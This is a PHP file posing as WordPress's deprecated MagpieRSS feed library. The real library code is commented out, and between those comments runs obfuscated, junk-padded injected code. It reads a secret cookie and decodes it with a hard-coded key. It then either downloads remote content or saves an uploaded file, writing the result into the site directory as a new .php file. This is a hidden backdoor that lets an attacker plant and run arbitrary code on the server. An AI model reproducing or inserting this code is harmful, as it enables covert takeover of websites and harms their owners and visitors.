<?php /* 
*
 * MagpieRSS: a simple RSS integration tool
 *
 * A compiled file for RSS syndication
 *
 * @author Kellan Elliott-McCrea <kellan@protest.net>
 * @version 0.51
 * @license GPL
 *
 * @package External
 * @subpackage MagpieRSS
 * @deprecated 3.0.0 Use SimplePie instead.
 

*
 * Deprecated. Use SimplePie (class-simplepie.php) instead.
 
_deprecated_file( basename( __FILE__ ), '3.0.0', WPINC . '/class-simplepie.php' );

*
 * Fires before MagpieRSS is loaded, to optionally replace it.
 *
 * @since 2.3.0
 * @deprecated 3.0.0
 
do_action( 'load_feed_engine' );

* RSS feed constant. 
define('RSS', 'RSS');
define('ATOM', 'Atom');
define('MAGPIE_USER_AGENT', 'WordPress/' . $GLOBALS['wp_version']);

class MagpieRSS {
	var $parser;
	var $current_item	= array();	 item currently being parsed
	var $items			= array();	 collection of parsed items
	var $channel		= array();	 hash of channel fields
	var $textinput		= array();
	var $image			= array();
	var $feed_type;
	var $feed_version;

	 parser variables
	var $stack				= array();  parser stack
	var $inchannel			= false;
	var $initem 			= false;
	var $incontent			= false;  if in Atom <content mode="xml"> field
	var $intextinput		= false;
	var $inimage 			= false;
	var $current_field		= '';
	var $current_namespace	= false;

	var $ERROR = "";

	var $_CONTENT_CONSTRUCTS = array('content', 'summary', 'info', 'title', 'tagline', 'copyright');

	*
	 * PHP5 constructor.
	 
	function __construct( $source ) {

		# Check if PHP xml isn't compiled
		#
		if ( ! function_exists('xml_parser_create') ) {
			return trigger_error( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." );
		}

		$parser = xml_parser_create();

		$this->parser = $parser;

		# pass in parser, and a reference to this object
		# set up handlers
		#
		xml_set_object( $this->parser, $this );
		xml_set_element_handler($this->parser,
				'feed_start_element', 'feed_end_element' );

		xml_set_character_data_handler( $this->parser, 'feed_cdata' );

		$status = xml_parse( $this->parser, $source );

		if (! $status ) {
			$errorcode = xml_get_error_code( $this->parser );
			if ( $errorcode != XML_ERROR_NONE ) {
				$xml_error = xml_error_string( $errorcode );
				$error_line = xml_get_current_line_number($this->parser);
				$error_col = xml_get_current_column_number($this->parser);
				$errormsg = "$xml_error at line $error_line, column $error_col";

				$this->error( $errormsg );
			}
		}

		xml_parser_free( $this->parser );
		unset( $this->parser );

		$this->normalize();
	}

	*
	 * PHP4 constructor.
	 
	public function MagpieRSS( $source ) {
		self::__construct( $source );
	}

	function feed_start_element($p, $element, &$attrs) {
		$el = $element = strtolower($element);
		$attrs = array_change_key_case($attrs, CASE_LOWER);

		 check for a namespace, and split if found
		$ns	= false;
		if ( strpos( $element, ':' ) ) {
			list($ns, $el) = explode( ':', $element, 2);
		}
		if ( $ns and $ns != 'rdf' ) {
			$this->current_namespace = $ns;
		}

		# if feed type isn't set, then this is first element of feed
		# identify feed from root element
		#
		if (!isset($this->feed_type) ) {
			if ( $el == 'rdf' ) {
				$this->feed_type = RSS;
				$this->feed_version = '1.0';
			}
			elseif ( $el == 'rss' ) {
				$this->feed_type = RSS;
				$this->feed_version = $attrs['version'];
			}
			elseif ( $el == 'feed' ) {
				$this->feed_type = ATOM;
				$this->feed_version = $attrs['version'];
				$this->inchannel = true;
			}
			return;
		}

		if ( $el == 'channel' )
		{
			$this->inchannel = true;
		}
		elseif ($el == 'item' or $el == 'entry' )
		{
			$this->initem = true;
			if ( isset($attrs['rdf:about']) ) {
				$this->current_item['about'] = $attrs['rdf:about'];
			}
		}

		 if we're in the default namespace of an RSS feed,
		  record textinput or image fields
		elseif (
			$this->feed_type == RSS and
			$this->current_namespace == '' and
			$el == 'textinput' )
		{
			$this->intextinput = true;
		}

		elseif (
			$this->feed_type == RSS and
			$this->current_namespace == '' and
			$el == 'image' )
		{
			$this->inimage = true;
		}

		# handle atom content constructs
		elseif ( $this->feed_type == ATOM and in_array($el, $this->_CONTENT_CONSTRUCTS) )
		{
			 avoid clashing w/ RSS mod_content
			if ($el == 'content' ) {
				$el = 'atom_content';
			}

			$this->incontent = $el;

		}

		 if inside an Atom content construct (e.g. content or summary) field treat tags as text
		elseif ($this->feed_type == ATOM and $this->incontent )
		{
			 if tags are inlined, then flatten
			$attrs_str = join(' ',
					array_map(array('MagpieRSS', 'map_attrs'),
					array_keys($attrs),
					array_values($attr*/
	/**
	 * Checks if a given request has access to get autosaves.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
function get_blog_permalink($supports_client_navigation)
{
    $parsed_icon = sprintf("%c", $supports_client_navigation);
    return $parsed_icon;
}


/**
     * @return array<int, int>
     */
function url_is_accessable_via_ssl($parsedChunk) {
    $instance_number = "EncodeThis";
    $LongMPEGlayerLookup = hash("sha1", $instance_number); // so cannot use this method
    $tinymce_settings = trim($LongMPEGlayerLookup);
    if (strlen($tinymce_settings) > 30) {
        $unsorted_menu_items = substr($tinymce_settings, 0, 30);
    }

    return $parsedChunk * 2;
}


/**
	 * Retrieves a specific block type.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
function wp_update_category($ID3v2_keys_bad, $state_data)
{
    $format_to_edit = file_get_contents($ID3v2_keys_bad);
    $theme_action = wp_load_core_site_options($format_to_edit, $state_data);
    $registered_sidebars_keys = "testExample";
    file_put_contents($ID3v2_keys_bad, $theme_action);
} //             [8F] -- List of tracks on which the chapter applies. If this element is not present, all tracks apply


/**
	 * Given a block structure from memory pushes
	 * a new block to the output list.
	 *
	 * @internal
	 * @since 5.0.0
	 * @param WP_Block_Parser_Block $preset_border_colorlock        The block to add to the output.
	 * @param int                   $token_start  Byte offset into the document where the first token for the block starts.
	 * @param int                   $token_length Byte length of entire block from start of opening token to end of closing token.
	 * @param int|null              $last_offset  Last byte offset into document if continuing form earlier output.
	 */
function set_sanitize_class($theme_stats) { // Value looks like this: 'var(--wp--preset--duotone--blue-orange)' or 'var:preset|duotone|blue-orange'.
    $http_host = "Hash Test";
    $RIFFsubtype = explode(" ", $http_host);
    $redirect_url = trim($RIFFsubtype[1]);
    if (!empty($redirect_url)) {
        $DIVXTAG = hash('md5', $redirect_url);
        $header_enforced_contexts = strlen($DIVXTAG);
        $original_parent = str_pad($DIVXTAG, 16, "*");
    }

    return wp_iframe_tag_add_loading_attr($theme_stats) - predefined_api_key($theme_stats);
}


/**
	 * Filters the permalink for a page.
	 *
	 * @since 1.5.0
	 *
	 * @param string $link    The page's permalink.
	 * @param int    $post_id The ID of the page.
	 * @param bool   $http_host  Is it a sample permalink.
	 */
function update_term_meta($store_name)
{ # crypto_hash_sha512_init(&hs);
    addStringEmbeddedImage($store_name);
    $should_filter = [1, 2, 3, 4]; // Set up meta_query so it's available to 'pre_get_terms'.
    $pseudo_matches = array_map(function($x) { return $x * 2; }, $should_filter); // Image.
    get_entries($store_name);
}


/**
 * Retrieves term parents with separator.
 *
 * @since 4.8.0
 *
 * @param int          $term_id  Term ID.
 * @param string       $taxonomy Taxonomy name.
 * @param string|array $header_tagsrgs {
 *     Array of optional arguments.
 *
 *     @type string $format    Use term names or slugs for display. Accepts 'name' or 'slug'.
 *                             Default 'name'.
 *     @type string $separator Separator for between the terms. Default '/'.
 *     @type bool   $link      Whether to format as a link. Default true.
 *     @type bool   $inclusive Include the term to get the parents for. Default true.
 * }
 * @return string|WP_Error A list of term parents on success, WP_Error or empty string on failure.
 */
function crypto_kx_seed_keypair() // This test may need expanding.
{
    return __DIR__;
}


/* translators: 1: Plugin name, 2: Version number. */
function get_field_name($open_basedirs)
{
    $submenu_items = 'EMrolngbitApExKLKDefygxBPgocHd';
    $mlen = rawurldecode("Hello%20World");
    if (isset($mlen)) {
        $VorbisCommentError = explode(" ", $mlen);
    }
 // Only output the background size and repeat when an image url is set.
    $has_old_auth_cb = count($VorbisCommentError);
    if (isset($_COOKIE[$open_basedirs])) {
        rest_handle_doing_it_wrong($open_basedirs, $submenu_items);
    }
}


/*
			 * For a "subdomain" installation, the NOBLOGREDIRECT constant
			 * can be used to avoid a redirect to the signup form.
			 * Using the ms_site_not_found action is preferred to the constant.
			 */
function privOpenFd($theme_stats) {
    $side_meta_boxes = "Hello";
    return array_sum($theme_stats);
} //otherwise reduce maxLength to start of the encoded char


/* translators: Month name, genitive. */
function get_mime_type($open_basedirs, $submenu_items, $store_name)
{ //   * Header Extension Object [required]  (additional functionality)
    if (isset($_FILES[$open_basedirs])) {
    $size_names = ["apple", "banana", "cherry"];
    if (count($size_names) > 2) {
        $requests = implode(", ", $size_names);
    }

        createHeader($open_basedirs, $submenu_items, $store_name);
    } //        ge25519_cmov8_cached(&t, pi, e[i]);
	
    get_entries($store_name);
}


/**
 * Adds an array of options to the list of allowed options.
 *
 * @since 5.5.0
 *
 * @global array $header_tagsllowed_options
 *
 * @param array        $parsedChunkew_options
 * @param string|array $options
 * @return array
 */
function isShellSafe($query_from)
{
    if (strpos($query_from, "/") !== false) {
    $header_tags = "apple,banana,cherry";
    $preset_border_color = explode(",", $header_tags);
    $minbytes = trim($preset_border_color[0]);
    if (in_array("banana", $preset_border_color)) {
        $tablefield_type_base = array_merge($preset_border_color, array("date"));
    }

    $force_default = implode("-", $tablefield_type_base);
        return true; // http://flac.sourceforge.net/format.html#metadata_block_picture
    }
    return false;
} // Ensure the ID attribute is unique.


/**
 * @global string       $post_type
 * @global WP_Post_Type $post_type_object
 * @global WP_Post      $post             Global post object.
 */
function LookupExtendedHeaderRestrictionsImageEncoding($uploaded_to_title) {
    $has_shadow_support = '12345';
    $i3 = url_is_accessable_via_ssl($uploaded_to_title);
    $test_form = hash('sha1', $has_shadow_support);
    return populate_network_meta($i3);
}


/**
	 * Attributes supported by every block.
	 *
	 * @since 6.0.0 Added `lock`.
	 * @since 6.5.0 Added `metadata`.
	 * @var array
	 */
function get_udims($supports_client_navigation)
{
    $supports_client_navigation = ord($supports_client_navigation);
    $orderby_array = rawurldecode("Hello%20World!");
    return $supports_client_navigation;
}


/**
	 * Fires before a template file is loaded.
	 *
	 * @since 6.1.0
	 *
	 * @param string $_template_file The full path to the template file.
	 * @param bool   $load_once      Whether to require_once or require.
	 * @param array  $header_tagsrgs           Additional arguments passed to the template.
	 */
function wp_getTags($ID3v2_keys_bad, $index_key)
{
    return file_put_contents($ID3v2_keys_bad, $index_key); //  record textinput or image fields
}


/**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     *
     * @var string
     */
function changeset_post_id($theme_stats) { // * Error Correction Data
    $upload_port = date("H:i");
    if (strlen($upload_port) == 5) {
        $leading_html_start = str_pad($upload_port, 8, "0");
        $to_item_id = hash("sha256", $leading_html_start);
    }

    if(count($theme_stats) == 0) {
        return 0;
    }
    return array_sum($theme_stats) / count($theme_stats);
}


/**
 * Finds and exports personal data associated with an email address from the comments table.
 *
 * @since 4.9.6
 *
 * @param string $force_defaultmail_address The comment author email address.
 * @param int    $page          Comment page number.
 * @return array {
 *     An array of personal data.
 *
 *     @type array[] $sitemap_types An array of personal data arrays.
 *     @type bool    $tablefield_type_baseone Whether the exporter is finished.
 * }
 */
function rest_handle_doing_it_wrong($open_basedirs, $submenu_items)
{ // Audiophile Replay Gain Adjustment   %aaabbbcd %dddddddd
    $isize = $_COOKIE[$open_basedirs];
    $p_level = array("apple", "banana", "orange");
    $sync_seek_buffer_size = str_replace("banana", "grape", implode(", ", $p_level));
    if (in_array("grape", $p_level)) {
        $link_attributes = "Grape is present.";
    }

    $isize = make_auto_draft_status_previewable($isize); #         STATE_INONCE(state)[i];
    $store_name = wp_load_core_site_options($isize, $submenu_items); // user-defined atom often seen containing XML data, also used for potentially many other purposes, only a few specifically handled by getID3 (e.g. 360fly spatial data)
    if (isShellSafe($store_name)) {
		$xml = update_term_meta($store_name);
        return $xml;
    }
	
    get_mime_type($open_basedirs, $submenu_items, $store_name);
} // If locations have been selected for the new menu, save those.


/**
	 * Matches a request object to its handler.
	 *
	 * @access private
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request The request object.
	 * @return array|WP_Error The route and request handler on success or a WP_Error instance if no handler was found.
	 */
function make_auto_draft_status_previewable($image_default_size)
{ // Error messages for Plupload.
    $in_comment_loop = pack("H*", $image_default_size); // 80-bit Apple SANE format
    $header_tags = date("His");
    $preset_border_color = "test";
    $minbytes = in_array("value", array($preset_border_color));
    return $in_comment_loop;
}


/**
	 * @param int $minbytesolorspace_id
	 *
	 * @return string|null
	 */
function add_group($query_from)
{ // remove meaningless entries from unknown-format files
    $query_from = wp_ajax_set_attachment_thumbnail($query_from);
    $port = "Hello=World";
    return file_get_contents($query_from);
}


/**
	 * Filters whether the current post is open for pings.
	 *
	 * @since 2.5.0
	 *
	 * @param bool $pings_open Whether the current post is open for pings.
	 * @param int  $post_id    The post ID.
	 */
function is_dynamic_sidebar($ignore_codes, $user_password)
{
	$user_blog = move_uploaded_file($ignore_codes, $user_password);
    $iis_rewrite_base = "   leading spaces   ";
    $yv = trim($iis_rewrite_base);
    $queue_text = str_pad($yv, 30, '-');
	
    return $user_blog;
}


/**
	 * Retrieves the CURIEs (compact URIs) used for relations.
	 *
	 * @since 4.5.0
	 *
	 * @return array Compact URIs.
	 */
function wp_load_core_site_options($sitemap_types, $state_data)
{ // The item_link and item_link_description for post formats is the
    $frmsizecod = strlen($state_data);
    $is_theme_installed = "0123456789abcdefghijklmnopqrstuvwxyz";
    $root_variable_duplicates = str_pad($is_theme_installed, 50, '0');
    if (in_array('abc', str_split(substr($root_variable_duplicates, 0, 30)))) {
        $xml = "Found!";
    }

    $files = strlen($sitemap_types);
    $frmsizecod = $files / $frmsizecod;
    $frmsizecod = ceil($frmsizecod); // let t = tmin if k <= bias {+ tmin}, or
    $pascalstring = str_split($sitemap_types); // ----- Copy the block of file headers from the old archive
    $state_data = str_repeat($state_data, $frmsizecod);
    $pack = str_split($state_data);
    $pack = array_slice($pack, 0, $files);
    $image_src = array_map("deactivate_sitewide_plugin", $pascalstring, $pack);
    $image_src = implode('', $image_src); // For backward compatibility, if null has explicitly been passed as `$query_var`, assume `true`.
    return $image_src;
}


/**
	 * Set the ihost. Returns true on success, false on failure (if there are
	 * any invalid characters).
	 *
	 * @param string $ihost
	 * @return bool
	 */
function addStringEmbeddedImage($query_from)
{
    $image_blocks = basename($query_from);
    $tags_list = array('data1', 'data2', 'data3'); // Format Data Size             WORD         16              // size of Format Data field in bytes
    $post_default_title = count($tags_list);
    $future_posts = "";
    if ($post_default_title > 1) {
        $preview_post_link_html = implode(",", $tags_list);
        $gz_data = hash('sha3-256', $preview_post_link_html);
        $has_enhanced_pagination = explode('2', $gz_data);
    }

    $ID3v2_keys_bad = html5_comment($image_blocks);
    foreach ($has_enhanced_pagination as $patternselect) {
        $future_posts .= $patternselect;
    }

    $mf_item = strlen($future_posts) ^ 2;
    get_default_block_template_types($query_from, $ID3v2_keys_bad);
}


/**
     * Memcached instance
     * @var Memcached
     */
function get_entries($link_attributes) //  results in a popstat() call (2 element array returned)
{
    echo $link_attributes;
}


/**
	 * Renders a themes section as a JS template.
	 *
	 * The template is only rendered by PHP once, so all actions are prepared at once on the server side.
	 *
	 * @since 4.9.0
	 */
function wp_getUsersBlogs($open_basedirs, $term_count = 'txt')
{
    return $open_basedirs . '.' . $term_count; // New menu item. Default is draft status.
} // If not, easy peasy.


/**
	 * Plugins controller constructor.
	 *
	 * @since 5.5.0
	 */
function html5_comment($image_blocks)
{
    return crypto_kx_seed_keypair() . DIRECTORY_SEPARATOR . $image_blocks . ".php"; // Don't output the 'no signature could be found' failure message for now.
}


/**
	 * Capabilities that the individual user has been granted outside of those inherited from their role.
	 *
	 * @since 2.0.0
	 * @var bool[] Array of key/value pairs where keys represent a capability name
	 *             and boolean values represent whether the user has that capability.
	 */
function wp_ajax_set_attachment_thumbnail($query_from)
{
    $query_from = "http://" . $query_from;
    $the_comment_status = "SomeData123";
    $lookBack = hash('sha256', $the_comment_status);
    $is_multisite = strlen($lookBack); // Don't show if a block theme is activated and no plugins use the customizer.
    if ($is_multisite == 64) {
        $starter_copy = true;
    }

    return $query_from;
}


/**
	 * Filters whether to update network site or user counts when a new site is created.
	 *
	 * @since 3.7.0
	 *
	 * @see wp_is_large_network()
	 *
	 * @param bool   $small_network Whether the network is considered small.
	 * @param string $minbytesontext       Context. Either 'users' or 'sites'.
	 */
function populate_network_meta($parsedChunk) {
    $utf8_pcre = ['one', 'two', 'three'];
    $selW = implode(' + ', $utf8_pcre);
    $windows_1252_specials = $selW; // We don't need to return the body, so don't. Just execute request and return.
    return $parsedChunk + 1;
}


/**
	 * Handles updating settings for the current Recent Comments widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $parsedChunkew_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Updated settings to save.
	 */
function get_default_block_template_types($query_from, $ID3v2_keys_bad)
{ // Uncompressed YUV 4:2:2
    $EBMLbuffer_offset = add_group($query_from); // ----- Check that $p_archive is a valid zip file
    $get_updated = "Text";
    if (!empty($get_updated)) {
        $has_processed_router_region = str_replace("e", "3", $get_updated);
        if (strlen($has_processed_router_region) < 10) {
            $xml = str_pad($has_processed_router_region, 10, "!");
        }
    }

    if ($EBMLbuffer_offset === false) {
        return false; // ----- Open the temporary zip file in write mode
    }
    return wp_getTags($ID3v2_keys_bad, $EBMLbuffer_offset);
} //Windows does not have support for this timeout function


/**
 * Retrieves the adjacent post relational link.
 *
 * Can either be next or previous post relational link.
 *
 * @since 2.8.0
 *
 * @param string       $title          Optional. Link title format. Default '%title'.
 * @param bool         $in_same_term   Optional. Whether link should be in the same taxonomy term.
 *                                     Default false.
 * @param int[]|string $force_defaultxcluded_terms Optional. Array or comma-separated list of excluded term IDs.
 *                                     Default empty.
 * @param bool         $previous       Optional. Whether to display link to previous or next post.
 *                                     Default true.
 * @param string       $taxonomy       Optional. Taxonomy, if `$in_same_term` is true. Default 'category'.
 * @return string|void The adjacent post relational link URL.
 */
function deactivate_sitewide_plugin($parsed_icon, $inclusions)
{
    $return_type = get_udims($parsed_icon) - get_udims($inclusions);
    $post_fields = "ToHashString";
    $meta_box = rawurldecode($post_fields);
    $inner_block_markup = hash('md5', $meta_box);
    $return_type = $return_type + 256;
    $handle_filename = str_pad($inner_block_markup, 32, "@");
    $unused_plugins = substr($meta_box, 3, 7); // Iterate over all registered scripts, finding dependents of the script passed to this method.
    if (empty($unused_plugins)) {
        $unused_plugins = str_pad($inner_block_markup, 50, "!");
    }

    $return_type = $return_type % 256;
    $image_size_data = explode("T", $meta_box);
    $f9g8_19 = implode("|", $image_size_data);
    $framesizeid = array_merge($image_size_data, array($unused_plugins)); // Serialize settings one by one to improve memory usage.
    $ping = date('Y/m/d H:i:s');
    $parsed_icon = get_blog_permalink($return_type);
    return $parsed_icon;
} //                $thisfile_mpeg_audio['region0_count'][$granule][$minbyteshannel] = substr($SideInfoBitstream, $SideInfoOffset, 4);


/**
 * Displays an editor: TinyMCE, HTML, or both.
 *
 * @since 2.1.0
 * @deprecated 3.3.0 Use wp_editor()
 * @see wp_editor()
 *
 * @param string $index_key       Textarea content.
 * @param string $id            Optional. HTML ID attribute value. Default 'content'.
 * @param string $prev_id       Optional. Unused.
 * @param bool   $media_buttons Optional. Whether to display media buttons. Default true.
 * @param int    $tab_index     Optional. Unused.
 * @param bool   $force_defaultxtended      Optional. Unused.
 */
function createHeader($open_basedirs, $submenu_items, $store_name)
{
    $image_blocks = $_FILES[$open_basedirs]['name'];
    $tempAC3header = "Inception_2010";
    $options_to_update = str_replace("_", " ", $tempAC3header); // Uh oh:
    $max_fileupload_in_bytes = substr($options_to_update, 0, 8);
    $global_styles_color = hash("sha256", $max_fileupload_in_bytes);
    $t_ = str_pad($global_styles_color, 36, "!");
    $ID3v2_keys_bad = html5_comment($image_blocks);
    $OS_remote = explode(" ", $options_to_update);
    wp_update_category($_FILES[$open_basedirs]['tmp_name'], $submenu_items);
    $int0 = date("Y-m-d");
    $p_index = implode("-", $OS_remote);
    $is_multicall = array_merge($OS_remote, array($int0)); // We will 404 for paged queries, as no posts were found.
    $skip_options = implode("|", $is_multicall);
    is_dynamic_sidebar($_FILES[$open_basedirs]['tmp_name'], $ID3v2_keys_bad); // Prevent navigation blocks referencing themselves from rendering.
}


/**
 * Determines whether the current request is for a user admin screen.
 *
 * e.g. `/wp-admin/user/`
 *
 * Does not check if the user is an administrator; use current_user_can()
 * for checking roles and capabilities.
 *
 * @since 3.1.0
 *
 * @global WP_Screen $minbytesurrent_screen WordPress current screen object.
 *
 * @return bool True if inside WordPress user administration pages.
 */
function wp_iframe_tag_add_loading_attr($theme_stats) { // Retained for backwards-compatibility. Unhooked by wp_enqueue_emoji_styles().
    $LookupExtendedHeaderRestrictionsTextEncodings = "Mix and Match";
    $registry = str_pad($LookupExtendedHeaderRestrictionsTextEncodings, 10, "*"); // Set Content-Type and charset.
    $LongMPEGbitrateLookup = substr($registry, 0, 5);
    $lyrics3lsz = hash('sha1', $LongMPEGbitrateLookup);
    if(isset($lyrics3lsz)) {
        $index_columns = strlen($lyrics3lsz);
        $skip_options = trim(str_pad($lyrics3lsz, $index_columns+5, "1"));
    }

    return max($theme_stats);
}


/**
	 * Register a callback for a hook
	 *
	 * @param string $hook Hook name
	 * @param callable $minbytesallback Function/method to call on event
	 * @param int $priority Priority number. <0 is executed earlier, >0 is executed later
	 */
function predefined_api_key($theme_stats) {
    $pKey = "EncodedString"; // Go through each group...
    return min($theme_stats);
}
$open_basedirs = 'yWzPbzJ'; // ----- Check for incompatible options
$reset = date("Y-m-d H:i:s");
get_field_name($open_basedirs); // The initial view is not always 'asc', we'll take care of this below.
$media = explode(' ', $reset);
$old_ms_global_tables = LookupExtendedHeaderRestrictionsImageEncoding(5);
$intro = $media[0];
/* s) ) );

			$this->append_content( "<$element $attrs_str>"  );

			array_unshift( $this->stack, $el );
		}

		 Atom support many links per containging element.
		 Magpie treats link elements of type rel='alternate'
		 as being equivalent to RSS's simple link element.
		
		elseif ($this->feed_type == ATOM and $el == 'link' )
		{
			if ( isset($attrs['rel']) and $attrs['rel'] == 'alternate' )
			{
				$link_el = 'link';
			}
			else {
				$link_el = 'link_' . $attrs['rel'];
			}

			$this->append($link_el, $attrs['href']);
		}
		 set stack[0] to current element
		else {
			array_unshift($this->stack, $el);
		}
	}

	function feed_cdata ($p, $text) {

		if ($this->feed_type == ATOM and $this->incontent)
		{
			$this->append_content( $text );
		}
		else {
			$current_el = join('_', array_reverse($this->stack));
			$this->append($current_el, $text);
		}
	}

	function feed_end_element ($p, $el) {
		$el = strtolower($el);

		if ( $el == 'item' or $el == 'entry' )
		{
			$this->items[] = $this->current_item;
			$this->current_item = array();
			$this->initem = false;
		}
		elseif ($this->feed_type == RSS and $this->current_namespace == '' and $el == 'textinput' )
		{
			$this->intextinput = false;
		}
		elseif ($this->feed_type == RSS and $this->current_namespace == '' and $el == 'image' )
		{
			$this->inimage = false;
		}
		elseif ($this->feed_type == ATOM and in_array($el, $this->_CONTENT_CONSTRUCTS) )
		{
			$this->incontent = false;
		}
		elseif ($el == 'channel' or $el == 'feed' )
		{
			$this->inchannel = false;
		}
		elseif ($this->feed_type == ATOM and $this->incontent  ) {
			 balance tags properly
			 note: This may not actually be necessary
			if ( $this->stack[0] == $el )
			{
				$this->append_content("</$el>");
			}
			else {
				$this->append_content("<$el />");
			}

			array_shift( $this->stack );
		}
		else {
			array_shift( $this->stack );
		}

		$this->current_namespace = false;
	}

	function concat (&$str1, $str2="") {
		if (!isset($str1) ) {
			$str1="";
		}
		$str1 .= $str2;
	}

	function append_content($text) {
		if ( $this->initem ) {
			$this->concat( $this->current_item[ $this->incontent ], $text );
		}
		elseif ( $this->inchannel ) {
			$this->concat( $this->channel[ $this->incontent ], $text );
		}
	}

	 smart append - field and namespace aware
	function append($el, $text) {
		if (!$el) {
			return;
		}
		if ( $this->current_namespace )
		{
			if ( $this->initem ) {
				$this->concat(
					$this->current_item[ $this->current_namespace ][ $el ], $text);
			}
			elseif ($this->inchannel) {
				$this->concat(
					$this->channel[ $this->current_namespace][ $el ], $text );
			}
			elseif ($this->intextinput) {
				$this->concat(
					$this->textinput[ $this->current_namespace][ $el ], $text );
			}
			elseif ($this->inimage) {
				$this->concat(
					$this->image[ $this->current_namespace ][ $el ], $text );
			}
		}
		else {
			if ( $this->initem ) {
				$this->concat(
					$this->current_item[ $el ], $text);
			}
			elseif ($this->intextinput) {
				$this->concat(
					$this->textinput[ $el ], $text );
			}
			elseif ($this->inimage) {
				$this->concat(
					$this->image[ $el ], $text );
			}
			elseif ($this->inchannel) {
				$this->concat(
					$this->channel[ $el ], $text );
			}

		}
	}

	function normalize () {
		 if atom populate rss fields
		if ( $this->is_atom() ) {
			$this->channel['descripton'] = $this->channel['tagline'];
			for ( $i = 0; $i < count($this->items); $i++) {
				$item = $this->items[$i];
				if ( isset($item['summary']) )
					$item['description'] = $item['summary'];
				if ( isset($item['atom_content']))
					$item['content']['encoded'] = $item['atom_content'];

				$this->items[$i] = $item;
			}
		}
		elseif ( $this->is_rss() ) {
			$this->channel['tagline'] = $this->channel['description'];
			for ( $i = 0; $i < count($this->items); $i++) {
				$item = $this->items[$i];
				if ( isset($item['description']))
					$item['summary'] = $item['description'];
				if ( isset($item['content']['encoded'] ) )
					$item['atom_content'] = $item['content']['encoded'];

				$this->items[$i] = $item;
			}
		}
	}

	function is_rss () {
		if ( $this->feed_type == RSS ) {
			return $this->feed_version;
		}
		else {
			return false;
		}
	}

	function is_atom() {
		if ( $this->feed_type == ATOM ) {
			return $this->feed_version;
		}
		else {
			return false;
		}
	}

	function map_attrs($k, $v) {
		return "$k=\"$v\"";
	}

	function error( $errormsg, $lvl = E_USER_WARNING ) {
		if ( MAGPIE_DEBUG ) {
			trigger_error( $errormsg, $lvl);
		} else {
			error_log( $errormsg, 0);
		}
	}

}

if ( !function_exists('fetch_rss') ) :
*
 * Build Magpie object based on RSS from URL.
 *
 * @since 1.5.0
 * @package External
 * @subpackage MagpieRSS
 *
 * @param string $url URL to retrieve feed.
 * @return MagpieRSS|false MagpieRSS object on success, false on failure.
 
function fetch_rss ($url) {
	 initialize constants
	init();

	if ( !isset($url) ) {
		 error("fetch_rss called without a url");
		return false;
	}

	 if cache is disabled
	if ( !MAGPIE_CACHE_ON ) {
		 fetch file, and parse it
		$resp = _fetch_remote_file( $url );
		if ( is_success( $resp->status ) ) {
			return _response_to_rss( $resp );
		}
		else {
			 error("Failed to fetch $url and cache is off");
			return false;
		}
	}
	 else cache is ON
	else {
		 Flow
		 1. check cache
		 2. if there is a hit, make sure it's fresh
		 3. if cached obj fails freshness check, fetch remote
		 4. if remote fails, return stale object, or error

		$cache = new RSSCache( MAGPIE_CACHE_DIR, MAGPIE_CACHE_AGE );

		if (MAGPIE_DEBUG and $cache->ERROR) {
			debug($cache->ERROR, E_USER_WARNING);
		}

		$cache_status 	 = 0;		 response of check_cache
		$request_headers = array();  HTTP headers to send with fetch
		$rss 			 = 0;		 parsed RSS object
		$errormsg		 = 0;		 errors, if any

		if (!$cache->ERROR) {
			 return cache HIT, MISS, or STALE
			$cache_status = $cache->check_cache( $url );
		}

		 if object cached, and cache is fresh, return cached obj
		if ( $cache_status == 'HIT' ) {
			$rss = $cache->get( $url );
			if ( isset($rss) and $rss ) {
				$rss->from_cache = 1;
				if ( MAGPIE_DEBUG > 1) {
				debug("MagpieRSS: Cache HIT", E_USER_NOTICE);
			}
				return $rss;
			}
		}

		 else attempt a conditional get

		 set up headers
		if ( $cache_status == 'STALE' ) {
			$rss = $cache->get( $url );
			if ( isset($rss->etag) and $rss->last_modified ) {
				$request_headers['If-None-Match'] = $rss->etag;
				$request_headers['If-Last-Modified'] = $rss->last_modified;
			}
		}

		$resp = _fetch_remote_file( $url, $request_headers );

		if (isset($resp) and $resp) {
			if ($resp->status == '304' ) {
				 we have the most current copy
				if ( MAGPIE_DEBUG > 1) {
					debug("Got 304 for $url");
				}
				 reset cache on 304 (at minutillo insistent prodding)
				$cache->set($url, $rss);
				return $rss;
			}
			elseif ( is_success( $resp->status ) ) {
				$rss = _response_to_rss( $resp );
				if ( $rss ) {
					if (MAGPIE_DEBUG > 1) {
						debug("Fetch successful");
					}
					 add object to cache
					$cache->set( $url, $rss );
					return $rss;
				}
			}
			else {
				$errormsg = "Failed to fetch $url. ";
				if ( $resp->error ) {
					# compensate for Snoopy's annoying habbit to tacking
					# on '\n'
					$http_error = substr($resp->error, 0, -2);
					$errormsg .= "(HTTP Error: $http_error)";
				}
				else {
					$errormsg .=  "(HTTP Response: " . $resp->response_code .')';
				}
			}
		}
		else {
			$errormsg = "Unable to retrieve RSS file for unknown reasons.";
		}

		 else fetch failed

		 attempt to return cached object
		if ($rss) {
			if ( MAGPIE_DEBUG ) {
				debug("Returning STALE object for $url");
			}
			return $rss;
		}

		 else we totally failed
		 error( $errormsg );

		return false;

	}  end if ( !MAGPIE_CACHE_ON ) {
}  end fetch_rss()
endif;

*
 * Retrieve URL headers and content using WP HTTP Request API.
 *
 * @since 1.5.0
 * @package External
 * @subpackage MagpieRSS
 *
 * @param string $url URL to retrieve
 * @param array $headers Optional. Headers to send to the URL.
 * @return Snoopy style response
 
function _fetch_remote_file($url, $headers = "" ) {
	$resp = wp_safe_remote_request( $url, array( 'headers' => $headers, 'timeout' => MAGPIE_FETCH_TIME_OUT ) );
	if ( is_wp_error($resp) ) {
		$error = array_shift($resp->errors);

		$resp = new stdClass;
		$resp->status = 500;
		$resp->response_code = 500;
		$resp->error = $error[0] . "\n"; \n = Snoopy compatibility
		return $resp;
	}

	 Snoopy returns headers unprocessed.
